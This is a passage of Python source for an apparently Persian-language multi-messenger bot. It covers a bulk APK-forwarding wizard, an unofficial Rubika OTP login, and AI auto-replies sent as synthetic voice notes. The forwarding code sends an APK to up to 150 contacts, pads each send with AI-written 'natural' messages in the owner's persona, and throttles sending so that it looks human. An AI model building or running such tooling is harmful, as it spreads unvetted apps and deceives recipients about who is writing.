    return await _apkfix_do_forward(client, source_peer, source_id, dest, platform)


async def _apkfix_worker(uid, aid, platform, apk_id, peers, text_mode,
                         base_text, batch_id, chat_id, lang):
    sent, failed = 0, 0
    total = len(peers)

    # Load APK source info from DB
    apk_row = None
    try:
        apk_row = _DB().fetchone(
            "SELECT af.*, src.account_id AS src_aid, src.source_peer, src.source_message_id, src.platform "
            "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
            "WHERE af.id=? AND af.user_id=? AND af.enabled=1 LIMIT 1",
            (int(apk_id), int(uid)),
        )
    except Exception:
        apk_row = None

    source_peer = str(apk_row["source_peer"] or "") if apk_row else ""
    source_id = str(apk_row["source_message_id"] or "") if apk_row else ""
    source_aid = int(apk_row["src_aid"] or aid) if apk_row else aid

    for idx, peer in enumerate(peers):
        try:
            client = trx.ai_live_clients.get((uid, aid))
            if client is None:
                try:
                    client = await trx._ensure_ai_client(uid, aid)
                except Exception:
                    client = None
            if client is None:
                failed += 1
                continue

            # 1. Forward the APK source message
            fwd_ok, fwd_info = await _apkfix_send_apk_to_peer(
                client, platform, source_peer, source_id, peer,
            )

            # 2. Optional AI/static text
            text_ok = False
            if fwd_ok and text_mode in ("ai", "static"):
                if text_mode == "ai":
                    try:
                        mem = _memory_load(uid, aid, str(peer), 6)
                        sys_prompt = _ai_system(
                            uid, aid, "apk_bulk_pv",
                            f"Peer={peer}. Write a short, natural, personalized Persian message "
                            "about the APK. Use the user's persona. 1-3 lines. No spam."
                        )
                        msgs = [{"role": "system", "content": sys_prompt}]
                        msgs.extend(mem)
                        msgs.append({"role": "user", "content":
                            f"یک پیام کوتاه و طبیعی برای این مخاطب بنویس. متن پایه:\n{base_text or 'APK ما رو معرفی کن'}"})
                        unique = await _AI().chat(
                            msgs, uid=uid, account_id=aid,
                            action_type="apk_bulk_pv", temperature=0.9, max_tokens=250,
                        )
                        unique = _cleanup_caption(unique or base_text)
                    except Exception as e:
                        _LOG_WARN(f"[PATCH][apkfix] AI text: {_mask(str(e))}")
                        unique = base_text
                else:
                    unique = base_text

                if unique:
                    send = getattr(client, "send_message", None)
                    if callable(send):
                        try:
                            r = send(peer, unique)
                            if asyncio.iscoroutine(r):
                                await r
                            text_ok = True
                        except Exception as e:
                            _LOG_WARN(f"[PATCH][apkfix] send text: {_mask(str(e))}")

            ok = fwd_ok
            try:
                _DB().execute(
                    "INSERT INTO trx222b_apk_send_log("
                    "user_id,account_id,platform,peer_id,apk_id,success,batch_id,created_at"
                    ") VALUES(?,?,?,?,?,?,?,?)",
                    (uid, aid, platform, str(peer), int(apk_id),
                     1 if ok else 0, batch_id, trx.now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as e:
            failed += 1
            _LOG_WARN(f"[PATCH][apkfix] peer {peer}: {_mask(str(e))}")
        if idx < total - 1:
            await asyncio.sleep(7)

    report = TRX_UI_STYLE.report(
        "گزارش ارسال APK",
        {"موفق": sent, "ناموفق": failed, "کل": total,
         "پلتفرم": _platform_label(platform, lang), "زمان": trx.now()},
    )
    try:
        await _BOT().send(chat_id, report, reply_markup=trx.ai_advanced_menu(lang, uid))
    except Exception:
        pass


async def _apkfix_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith(APKFIX_PREFIX):
        return None

    await _safe_answer(cb_id)

    try:
        if data_s == f"{APKFIX_PREFIX}start":
            trx.state.pop(uid)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu("ارسال APK", ["اول پلتفرم رو انتخاب کن"]),
                _IKB([
                    [("🔵 روبیکا", f"{APKFIX_PREFIX}plat:rubika", "primary"),
                     ("🔴 سروش پلاس", f"{APKFIX_PREFIX}plat:soroush", "danger")],
                    [("🟡 بله", f"{APKFIX_PREFIX}plat:bale", "primary"),
                     ("🟦 تلگرام", f"{APKFIX_PREFIX}plat:telegram", "primary")],
                    [("🟩 شاد", f"{APKFIX_PREFIX}plat:shad", "success")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )

        if data_s.startswith(f"{APKFIX_PREFIX}plat:"):
            plat = data_s.split(":", 1)[1]
            if plat not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.main_menu(lang, uid))
            rows = _DB().fetchall(
                "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, plat),
            )
            btns = []
            for r in rows:
                phone_mask = trx._mask_phone(r["phone"]) if r["phone"] else "—"
                btns.append([(f"#{r['id']} — {phone_mask}",
                              f"{APKFIX_PREFIX}acc:{r['id']}:{plat}", "primary")])
            if not btns:
                btns.append([("❌ اکانت فعالی نداری", "ai.apk.send", "danger")])
            else:
                btns.append([("↩️ بازگشت", "ai.apk.send", "primary")])
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}",
                                  ["یکی از اکانت‌های این پلتفرم رو انتخاب کن"]),
                _IKB(btns),
            )

        if data_s.startswith(f"{APKFIX_PREFIX}acc:"):
            parts = data_s.split(":")
            if len(parts) < 4:
                return await _safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.", trx.main_menu(lang, uid))
            try:
                aid = int(parts[2])
            except Exception:
                return await _safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.", trx.main_menu(lang, uid))
            plat = parts[3]
            ctx = _account_context(uid, aid, plat)
            if not ctx:
                trx.state.pop(uid)
                return await _safe_edit(chat_id, msg_id,
                                        "❌ اکانت با پلتفرم هم‌خوانی نداره.",
                                        trx.ai_advanced_menu(lang, uid))
            trx.state.pop(uid)
            trx.state.set(uid, "apkfix_link",
                          account_id=aid, platform=plat, service=plat)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard(
                    "ارسال APK", "مرحله ۱ از ۵",
                    "لینک مستقیم پست APK رو از کانال بفرست",
                    "لینک مثل https://t.me/xxx/123 یا https://rubika.ir/c/xxx",
                ),
                _IKB([[("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")]]),
            )

        if data_s.startswith(f"{APKFIX_PREFIX}textmode:"):
            mode = data_s.split(":", 1)[1]
            if mode not in ("ai", "static", "none"):
                return await _safe_edit(chat_id, msg_id, "❌ حالت نامعتبر.",
                                        trx.ai_advanced_menu(lang, uid))
            s = trx.state.get(uid)
            if not s or s.get("state") != "apkfix_textmode":
                return await _safe_edit(chat_id, msg_id,
                                        "❌ منقضی شده. از اول شروع کن.",
                                        trx.ai_advanced_menu(lang, uid))
            if mode == "none":
                trx.state.set(uid, "apkfix_confirm",
                              account_id=s["account_id"], platform=s["platform"],
                              apk_id=s["apk_id"], count=s["count"],
                              text_mode="none", base_text="")
                return await _safe_edit(
                    chat_id, msg_id,
                    TRX_UI_STYLE.confirm(
                        "ارسال APK",
                        [f"تعداد مخاطبین: {s['count']}",
                         f"پلتفرم: {_platform_label(s['platform'], lang)}",
                         "حالت: فقط فوروارد (بدون متن)"],
                        "پیام APK فوروارد می‌شه، هیچ متنی اضافه نمی‌شه",
                    ),
                    _IKB([
                        [("✅ تأیید", f"{APKFIX_PREFIX}confirm", "success"),
                         ("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")],
                    ]),
                )
            trx.state.set(uid, "apkfix_text",
                          account_id=s["account_id"], platform=s["platform"],
                          apk_id=s["apk_id"], count=s["count"], text_mode=mode)
            tip = ("پرامپتی که AI برای هر نفر استفاده کنه رو بفرست" if mode == "ai"
                   else "متنی که برای همه یکسان فرستاده می‌شه رو بفرست")
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.wizard("ارسال APK", "مرحله ۴ از ۵", tip,
                                    "هر چه خواستی AI بر اساسش بنویسه"),
                _IKB([[("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")]]),
            )

        if data_s == f"{APKFIX_PREFIX}confirm":
            s = trx.state.get(uid)
            if not s or s.get("state") != "apkfix_confirm":
                return await _safe_edit(chat_id, msg_id,
                                        "❌ منقضی شده. از اول شروع کن.",
                                        trx.ai_advanced_menu(lang, uid))
            aid = int(s["account_id"])
            plat = s["platform"]
            count = int(s["count"])
            apk_id = int(s["apk_id"])
            text_mode = s.get("text_mode") or "none"
            base_text = s.get("base_text") or ""
            contacts, total_available = await _apkfix_get_contacts(uid, aid, plat, count)
            if not contacts:
                trx.state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    TRX_UI_STYLE.error(
                        "هیچ مخاطبی پیدا نشد",
                        "مخاطبین وقتی ثبت می‌شن که کاربر به اکانت پیام بده",
                    ),
                    trx.ai_advanced_menu(lang, uid),
                )
            batch_id = f"apkfix-{int(time.time())}"
            trx.state.pop(uid)
            await _safe_edit(
                chat_id, msg_id,
                f"{TRX_SYMS['start']} ⏳ ارسال APK به {len(contacts)} مخاطب شروع شد...",
                _IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )
            _create_task(_apkfix_worker(
                uid, aid, plat, apk_id, contacts,
                text_mode, base_text, batch_id, chat_id, lang,
            ))
            return

        if data_s == f"{APKFIX_PREFIX}cancel":
            trx.state.pop(uid)
            return await _safe_edit(chat_id, msg_id, "❌ لغو شد.",
                                    trx.ai_advanced_menu(lang, uid))

    except Exception as e:
        _LOG_ERR(f"[PATCH][apkfix] dispatch: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _safe_edit(chat_id, msg_id,
                                "⚠️ خطای موقت. از منوی AI دوباره شروع کن.",
                                trx.main_menu(lang, uid))

    return None


async def _apkfix_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt or txt.startswith("/"):
        return None
    s = trx.state.get(uid)
    if not s:
        return None
    st = s.get("state")
    if st not in ("apkfix_link", "apkfix_count", "apkfix_text"):
        return None

    lang = trx.get_lang(uid) or "fa"
    try:
        if st == "apkfix_link":
            plat = s["platform"]
            aid = int(s["account_id"])
            try:
                ok_link, err, mid, hint = trx._trx01_validate_apk_link(plat, txt)
            except Exception as e:
                ok_link, err, mid, hint = False, f"validation error: {e}", None, None
            if not ok_link:
                return await _BOT().send(chat_id, f"❌ {err or 'لینک نامعتبر'}")
            # Save to DB
            try:
                ok_save, info, row = await trx._trx660_save_apk_link(uid, aid, plat, txt)
            except Exception as e:
                ok_save, info, row = False, str(e), None
            if not ok_save or not row:
                return await _BOT().send(chat_id, f"❌ ذخیره APK ناموفق: {str(info)[:400]}")
            apk_id = int(row.get("apk_id") or row.get("id") or 0)
            trx.state.set(uid, "apkfix_count",
                          account_id=aid, platform=plat, apk_id=apk_id)
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.wizard(
                    "ارسال APK", "مرحله ۲ از ۵",
                    "چند نفر باید APK بگیرن؟ (۱ تا ۱۵۰)",
                    "عدد بفرست",
                ),
                reply_markup=_IKB([[("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")]]),
            )

        if st == "apkfix_count":
            digits = _norm_digits(txt)
            if not digits.isdigit():
                return await _BOT().send(chat_id, "❌ فقط عدد (۱ تا ۱۵۰).")
            n = int(digits)
            if n < 1 or n > 150:
                return await _BOT().send(chat_id, "❌ عدد بین ۱ تا ۱۵۰.")
            trx.state.set(uid, "apkfix_textmode",
                          account_id=s["account_id"], platform=s["platform"],
                          apk_id=s["apk_id"], count=n)
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.menu(
                    "ارسال APK",
                    ["چطور بعد از APK، متن هم بره؟"],
                    "مرحله ۳ از ۵",
                ),
                reply_markup=_IKB([
                    [("🤖 متن هوشمند برای هر نفر", f"{APKFIX_PREFIX}textmode:ai", "primary")],
                    [("📄 متن دلخواه یکسان", f"{APKFIX_PREFIX}textmode:static", "primary")],
                    [("📎 فقط فوروارد بدون متن", f"{APKFIX_PREFIX}textmode:none", "primary")],
                    [("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")],
                ]),
            )

        if st == "apkfix_text":
            mode = s.get("text_mode") or "static"
            trx.state.set(uid, "apkfix_confirm",
                          account_id=s["account_id"], platform=s["platform"],
                          apk_id=s["apk_id"], count=s["count"],
                          text_mode=mode, base_text=txt)
            return await _BOT().send(
                chat_id,
                TRX_UI_STYLE.confirm(
                    "ارسال APK",
                    [f"تعداد مخاطبین: {s['count']}",
                     f"پلتفرم: {_platform_label(s['platform'], lang)}",
                     f"حالت متن: {'هوشمند (AI)' if mode == 'ai' else 'یکسان'}"],
                    "بعد از تأیید، به ترتیب با فاصله ۷ ثانیه ارسال می‌شه",
                ),
                reply_markup=_IKB([
                    [("✅ تأیید", f"{APKFIX_PREFIX}confirm", "success"),
                     ("❌ لغو", f"{APKFIX_PREFIX}cancel", "danger")],
                ]),
            )
    except Exception as e:
        _LOG_ERR(f"[PATCH][apkfix] on_msg: {_mask(str(e))}")
        try:
            trx.state.pop(uid)
        except Exception:
            pass
        return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 8) FEATURE #4 — RUBIKA OTP v20
# ═══════════════════════════════════════════════════════════════════════════

def _rubika_phone_v20(phone):
    p = re.sub(r"\D", "", str(phone or ""))
    if p.startswith("0098"):
        p = p[4:]
    elif p.startswith("98") and len(p) > 10:
        p = p[2:]
    elif p.startswith("0"):
        p = p[1:]
    return "98" + p


def _rubika_extract_hash_v20(resp):
    if not isinstance(resp, dict):
        return None
    for key in ("phone_code_hash", "phoneCodeHash", "hash"):
        if resp.get(key):
            return str(resp[key])
    for container_key in ("data", "result", "input"):
        c = resp.get(container_key)
        if isinstance(c, dict):
            for key in ("phone_code_hash", "phoneCodeHash", "hash"):
                if c.get(key):
                    return str(c[key])
    return None


def _rubika_extract_auth_v20(resp):
    if not isinstance(resp, dict):
        return None, None
    for obj in (resp, resp.get("data"), resp.get("result")):
        if not isinstance(obj, dict):
            continue
        auth = obj.get("Auth") or obj.get("auth")
        key = obj.get("Key") or obj.get("key") or obj.get("private_key")
        if auth and key:
            return str(auth), key
    return None, None


async def _rubika_rulog_send_v20(phone):
    try:
        mod = trx._trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if not RulogClient:
            return None, "rulog.Client unavailable"
    except Exception as e:
        return None, f"rulog import: {_mask(str(e))[:200]}"

    errors = []
    for platform in ("android", "web"):
        try:
            rc = RulogClient()
            fn = getattr(rc, "sendCode", None)
            if not callable(fn):
                errors.append(f"{platform}: sendCode missing")
                continue
            kwargs = {"send_type": True} if platform == "android" else {}
            resp = fn(platform, phone, **kwargs)
            if asyncio.iscoroutine(resp):
                resp = await asyncio.wait_for(resp, timeout=25)
            ph = _rubika_extract_hash_v20(resp)
            if ph:
                return {"client": rc, "hash": ph, "platform": platform,
                        "backend": "rulog"}, None
            errors.append(f"{platform}: no hash: {str(resp)[:150]}")
        except OSError as e:
            errors.append(f"{platform}: OSError({getattr(e, 'errno', '?')})")
        except asyncio.TimeoutError:
            errors.append(f"{platform}: timeout")
        except Exception as e:
            errors.append(f"{platform}: {type(e).__name__}: {str(e)[:150]}")
    return None, " | ".join(errors)[:600]


async def _rubika_https_send_v20(phone):
    import aiohttp
    endpoints = (
        "https://messengerg2c4.iranlms.ir/",
        "https://messengerg2c17.iranlms.ir/",
    )
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36",
        "Origin": "https://web.rubika.ir",
        "Referer": "https://web.rubika.ir/",
    }
    payload = {"method": "sendCode",
               "data": {"phone_number": phone, "send_type": "SMS"}}
    errors = []
    async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=20)) as session:
        for url in endpoints:
            try:
                async with session.post(url, json=payload, headers=headers) as resp:
                    raw = await resp.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"raw": raw[:400], "status": resp.status}
                    ph = _rubika_extract_hash_v20(data)
                    if ph:
                        return {"client": None, "hash": ph, "platform": "web",
                                "backend": "https"}, None
                    errors.append(f"{url}: no hash")
            except asyncio.TimeoutError:
                errors.append(f"{url}: timeout")
            except Exception as e:
                errors.append(f"{url}: {type(e).__name__}")
    return None, " | ".join(errors)[:600]


async def _rubika_rulog_subprocess_v20(phone, platform):
    script = (
        "import sys, json\n"
        "try:\n"
        "    import rulog\n"
        "except Exception as e:\n"
        "    print(json.dumps({'__error__': 'import: ' + str(e)})); sys.exit(0)\n"
        "phone, plat = sys.argv[1], sys.argv[2]\n"
        "try:\n"
        "    rc = rulog.Client()\n"
        "    fn = rc.sendCode\n"
        "    kwargs = {'send_type': True} if plat == 'android' else {}\n"
        "    resp = fn(plat, phone, **kwargs)\n"
        "    print(json.dumps(resp if isinstance(resp, dict) else {'data': getattr(resp, 'data', {})}))\n"
        "except Exception as e:\n"
        "    print(json.dumps({'__error__': type(e).__name__ + ': ' + str(e)}))\n"
    )
    try:
        with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False, encoding="utf-8") as f:
            f.write(script)
            sp = f.name
    except Exception as e:
        return None, f"tempfile: {e}"
    try:
        proc = await asyncio.create_subprocess_exec(
            sys.executable, sp, phone, platform,
            stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE,
        )
        try:
            out, err = await asyncio.wait_for(proc.communicate(), timeout=45)
        except asyncio.TimeoutError:
            proc.kill()
            return None, f"subprocess timeout ({platform})"
        text = (out or b"").decode("utf-8", errors="replace").strip()
        if not text:
            return None, f"subprocess empty ({platform})"
        last = text.splitlines()[-1].strip()
        try:
            resp = json.loads(last)
        except Exception:
            return None, f"bad json: {last[:200]}"
        if isinstance(resp, dict) and "__error__" in resp:
            return None, f"{platform}: {resp['__error__'][:200]}"
        ph = _rubika_extract_hash_v20(resp)
        if ph:
            return {"client": None, "hash": ph, "platform": platform,
                    "backend": "rulog_subprocess"}, None
        return None, f"{platform}: no hash"
    except Exception as e:
        return None, f"subprocess: {_mask(str(e))[:200]}"
    finally:
        try:
            os.unlink(sp)
        except Exception:
            pass


async def _rubika_send_code_v20(uid, phone):
    number = _rubika_phone_v20(phone)
    _LOG_INFO(f"[RUBIKAFIX] send_code uid={uid} phone={number[:6]}***")
    errors = []

    # Step 1: rulog
    try:
        result, err = await _rubika_rulog_send_v20(number)
        if result:
            trx.active_clients[uid] = {
                "client": result["client"], "rulog": result["client"],
                "service": "rubika", "phone": number, "phone_input": phone,
                "hash": result["hash"], "otp_platform": result["platform"],
                "backend": result["backend"], "created_at": time.time(),
                "connected": False,
            }
            _LOG_INFO(f"[RUBIKAFIX] step1 OK uid={uid}")
            return True, {"phone_code_hash": result["hash"]}
        errors.append(f"step1: {err}")
    except Exception as e:
        errors.append(f"step1: {_mask(str(e))[:200]}")

    # Step 2: HTTPS
    try:
        result, err = await _rubika_https_send_v20(number)
        if result:
            trx.active_clients[uid] = {
                "client": None, "rulog": None,
                "service": "rubika", "phone": number, "phone_input": phone,
                "hash": result["hash"], "otp_platform": result["platform"],
                "backend": result["backend"], "created_at": time.time(),
                "connected": False,
            }
            _LOG_INFO(f"[RUBIKAFIX] step2 OK uid={uid}")
            return True, {"phone_code_hash": result["hash"]}
        errors.append(f"step2: {err}")
    except Exception as e:
        errors.append(f"step2: {_mask(str(e))[:200]}")

    # Step 3: subprocess
    for plat in ("android", "web"):
        try:
            result, err = await _rubika_rulog_subprocess_v20(number, plat)
            if result:
                trx.active_clients[uid] = {
                    "client": None, "rulog": None,
                    "service": "rubika", "phone": number, "phone_input": phone,
                    "hash": result["hash"], "otp_platform": result["platform"],
                    "backend": result["backend"], "created_at": time.time(),
                    "connected": False,
                }
                _LOG_INFO(f"[RUBIKAFIX] step3 OK uid={uid} platform={plat}")
                return True, {"phone_code_hash": result["hash"]}
            errors.append(f"step3/{plat}: {err}")
        except Exception as e:
            errors.append(f"step3/{plat}: {_mask(str(e))[:150]}")

    # Step 4: rubpy native
    try:
        from rubpy import Client as RubpyClient
        session_name = os.path.join(trx.SESS_DIR, f"rubika_otp_{uid}")
        client = RubpyClient(session_name, display_welcome=False, platform="Android")
        fn = getattr(client, "send_code", None)
        if callable(fn):
            resp = fn(number)
            if asyncio.iscoroutine(resp):
                resp = await asyncio.wait_for(resp, timeout=25)
            ph = _rubika_extract_hash_v20(resp)
            if ph:
                trx.active_clients[uid] = {
                    "client": client, "rulog": None,
                    "service": "rubika", "phone": number, "phone_input": phone,
                    "hash": ph, "otp_platform": "Android",
                    "backend": "rubpy", "created_at": time.time(),
                    "connected": False,
                }
                _LOG_INFO(f"[RUBIKAFIX] step4 OK uid={uid}")
                return True, {"phone_code_hash": ph}
        errors.append("step4: no hash")
    except Exception as e:
        errors.append(f"step4: {_mask(str(e))[:150]}")

    try:
        info = trx.active_clients.get(uid)
        if info and info.get("service") == "rubika" and not info.get("connected"):
            trx.active_clients.pop(uid, None)
    except Exception:
        pass
    full = " | ".join(errors)[:1200]
    _LOG_ERR(f"[RUBIKAFIX] all steps failed uid={uid}: {full}")
    return False, f"ارسال کد روبیکا ناموفق بود.\n\n{full}"


async def _rubika_verify_v20(uid, code):
    info = trx.active_clients.get(uid)
    if not info or info.get("service") != "rubika":
        return False, "نشست ورود روبیکا پیدا نشد؛ دوباره شماره را وارد کنید."
    number = info.get("phone") or ""
    ph = str(info.get("hash") or "")
    backend = info.get("backend") or ""
    platform = info.get("otp_platform") or "android"
    code = re.sub(r"\D", "", str(code or ""))
    if not (4 <= len(code) <= 8):
        return False, "کد تأیید باید ۴ تا ۸ رقم عددی باشد."

    result = None
    errors = []

    # Signin with rulog
    rc = info.get("rulog")
    if rc is not None:
        try:
            fn = getattr(rc, "signIn", None)
            if callable(fn):
                resp = await asyncio.wait_for(
                    asyncio.to_thread(fn, platform, number, ph, code),
                    timeout=40,
                )
                a, k = _rubika_extract_auth_v20(resp)
                if a and k:
                    result = resp
        except asyncio.TimeoutError:
            errors.append("rulog signIn: timeout")
        except Exception as e:
            errors.append(f"rulog signIn: {_mask(str(e))[:200]}")

    # Signin with HTTPS
    if result is None:
        import aiohttp
        endpoints = (
            "https://messengerg2c4.iranlms.ir/",
            "https://messengerg2c17.iranlms.ir/",
        )
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Linux; Android 13)",
            "Origin": "https://web.rubika.ir",
            "Referer": "https://web.rubika.ir/",
        }
        payload = {"method": "signIn",
                   "data": {"phone_number": number,
                            "phone_code_hash": ph,
                            "phone_code": code}}
        try:
            async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=30)) as session:
                for url in endpoints:
                    try:
                        async with session.post(url, json=payload, headers=headers) as resp:
                            raw = await resp.text()
                            try:
                                data = json.loads(raw)
                            except Exception:
                                data = {"raw": raw[:400]}
                            a, k = _rubika_extract_auth_v20(data)
                            if a and k:
                                result = data
                                break
                    except Exception:
                        continue
        except Exception as e:
            errors.append(f"HTTPS signIn: {_mask(str(e))[:150]}")

    if result is None:
        full = " | ".join(errors)[:1000]
        return False, f"تأیید روبیکا ناموفق:\n{full}"

    auth, key = _rubika_extract_auth_v20(result)
    if not auth or not key:
        return False, f"ورود روبیکا کامل نشد: {str(result)[:300]}"

    # Register device
    if rc is not None:
        try:
            reg = getattr(rc, "register", None)
            if callable(reg):
                await asyncio.wait_for(
                    asyncio.to_thread(reg, platform="android", auths=auth, keys=key),
                    timeout=30,
                )
        except Exception:
            pass

    session_value = json.dumps({"auth": auth, "key": key}, ensure_ascii=False)
    cur = _DB().execute(
        "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
        (uid, "rubika", info.get("phone_input") or number, session_value, "online", trx.now()),
    )
    aid = int(cur.lastrowid)

    client = None
    try:
        from rubpy import Client as RubpyClient
        client = RubpyClient(
            os.path.join(trx.SESS_DIR, f"rubika_{uid}_{aid}"),
            auth=str(auth), private_key=key,
            phone_number=info.get("phone_input") or number,
            platform="Android",
        )
        for name in ("connect", "start"):
            fn = getattr(client, name, None)
            if callable(fn):
                res = fn()
                if asyncio.iscoroutine(res):
                    await res
                break
    except Exception:
        client = None

    if client is not None:
        trx.ai_live_clients[(uid, aid)] = client

    try:
        trx.active_clients[uid]["client"] = client
        trx.active_clients[uid]["connected"] = True
        trx.active_clients[uid]["account_id"] = aid
    except Exception:
        pass

    try:
        _DB().execute(
            "INSERT OR IGNORE INTO ai_bindings("
            "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
            ") VALUES(?,?,?,?,?,?,?)",
            (uid, aid, 1, 1, 0, trx.now(), trx.now()),
        )
        _DB().execute(
            "UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",
            (trx.now(), uid, aid),
        )
    except Exception:
        pass

    _log_activity(aid, uid, "login", "rubika", 1)
    _log_event(uid, "ACCOUNT_ADDED", "rubika")

    if client is not None:
        try:
            trx._register_ai_handler(client, uid, "rubika", aid)
        except Exception:
            pass

    return True, {"account_id": aid}


# Register the v20 handler — but note the FEATURE #15 (profile/persona)
# must apply later. We register now and wrap later.
try:
    trx.SERVICE_HANDLERS["rubika"] = {
        "send": trx._wrap_otp_handler("rubika", _rubika_send_code_v20),
        "verify": _rubika_verify_v20,
    }
    _LOG_INFO("[PATCH] Rubika OTP v20 registered.")
except Exception as e:
    _LOG_WARN(f"[PATCH] rubika register: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════════════
# 9) FEATURE #5 — VOICE REPLY WITH 2-VOICE LIMIT
# ═══════════════════════════════════════════════════════════════════════════

TRX_VOICE_MAX_PER_PEER = 2
TRX_VOICE_DEFAULT = "fa-IR-DilaraNeural"


def _voice_quota_get(user_id, account_id, platform, peer_id):
    try:
        row = _DB().fetchone(
            "SELECT voice_count FROM trx_voice_quota "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
            (int(user_id), int(account_id), str(platform), str(peer_id)),
        )
        return int(row["voice_count"] or 0) if row else 0
    except Exception:
        return 0


def _voice_quota_remaining(user_id, account_id, platform, peer_id):
    used = _voice_quota_get(user_id, account_id, platform, peer_id)
    return max(0, TRX_VOICE_MAX_PER_PEER - used)


def _voice_quota_increment(user_id, account_id, platform, peer_id):
    try:
        stamp = trx.now()
        _DB().execute(
            "INSERT INTO trx_voice_quota("
            "user_id,account_id,platform,peer_id,voice_count,last_sent_at,created_at"
            ") VALUES(?,?,?,?,1,?,?) "
            "ON CONFLICT(user_id,account_id,platform,peer_id) "
            "DO UPDATE SET voice_count=voice_count+1, last_sent_at=excluded.last_sent_at",
            (int(user_id), int(account_id), str(platform), str(peer_id), stamp, stamp),
        )
    except Exception as e:
        _LOG_WARN(f"[PATCH][voice] increment: {_mask(str(e))}")


async def _trx_tts_generate(text, voice=None):
    text = str(text or "").strip()
    if not text:
        return None
    voice = voice or TRX_VOICE_DEFAULT
    try:
        try:
            import edge_tts
        except ImportError:
            try:
                subprocess.check_call(
                    [sys.executable, "-m", "pip", "install", "-U", "edge-tts"],
                    stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT,
                )
            except Exception:
                pass
            import edge_tts
        communicate = edge_tts.Communicate(text, voice)
        buf = io.BytesIO()

        async def _stream():
            async for chunk in communicate.stream():
                if chunk.get("type") == "audio":
                    buf.write(chunk["data"])

        await asyncio.wait_for(_stream(), timeout=20)
        data = buf.getvalue()
        if not data:
            return None
        return data
    except Exception as e:
        _LOG_WARN(f"[PATCH][voice] tts: {_mask(str(e))}")
        return None


def _trx_tts_should_send(user_id, account_id, platform, peer_id, user_text):
    remaining = _voice_quota_remaining(user_id, account_id, platform, peer_id)
    if remaining <= 0:
        return False
    lower = str(user_text or "").lower()
    explicit = any(k in lower for k in ("ویس", "زنگ", "صوتی", "voice", "call"))
    if explicit:
        return True
    return random.random() < 0.3


async def _trx_tts_send(client, platform, peer, voice_bytes, caption=""):
    platform = str(platform or "").lower()
    variants = []
    if platform == "rubika":
        variants = [
            ("send_voice", (peer, voice_bytes), {"caption": caption} if caption else {}),
            ("send_voice", (peer, voice_bytes), {}),
            ("send_file", (peer, voice_bytes), {"voice_note": True}),
            ("send_file", (peer, voice_bytes), {}),
        ]
    elif platform in ("soroush", "telegram"):
        variants = [
            ("send_file", (peer, voice_bytes), {"voice_note": True}),
            ("send_voice", (peer, voice_bytes), {}),
            ("send_file", (peer, voice_bytes), {}),
            ("send_message", (peer,), {"file": voice_bytes, "voice_note": True}),
        ]
    elif platform == "bale":
        variants = [
            ("send_voice", (peer, voice_bytes), {}),
            ("send_file", (peer, voice_bytes), {"voice_note": True}),
            ("send_file", (peer, voice_bytes), {}),
        ]
    elif platform == "shad":
        variants = [
            ("send_voice", (peer, voice_bytes), {}),
            ("send_file", (peer, voice_bytes), {}),
        ]
    else:
        variants = [
            ("send_voice", (peer, voice_bytes), {}),
            ("send_file", (peer, voice_bytes), {}),
        ]

    errors = []
    for name, args, kwargs in variants:
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        try:
            r = fn(*args, **kwargs)
            if asyncio.iscoroutine(r):
                await r
            return True, name
        except Exception as e:
            errors.append(f"{name}: {type(e).__name__}: {str(e)[:120]}")
    return False, " | ".join(errors[-4:]) or "no method matched"


async def _trx_tts_maybe_send(uid, aid, platform, peer, user_text, text_reply):
    try:
        if not _trx_tts_should_send(uid, aid, platform, peer, user_text):
            return
        voice_bytes = await _trx_tts_generate(text_reply)
        if not voice_bytes:
            return
        client = trx.ai_live_clients.get((uid, aid))
        if client is None:
            try:
                client = await trx._ensure_ai_client(uid, aid)
            except Exception:
                client = None
        if client is None:
            return
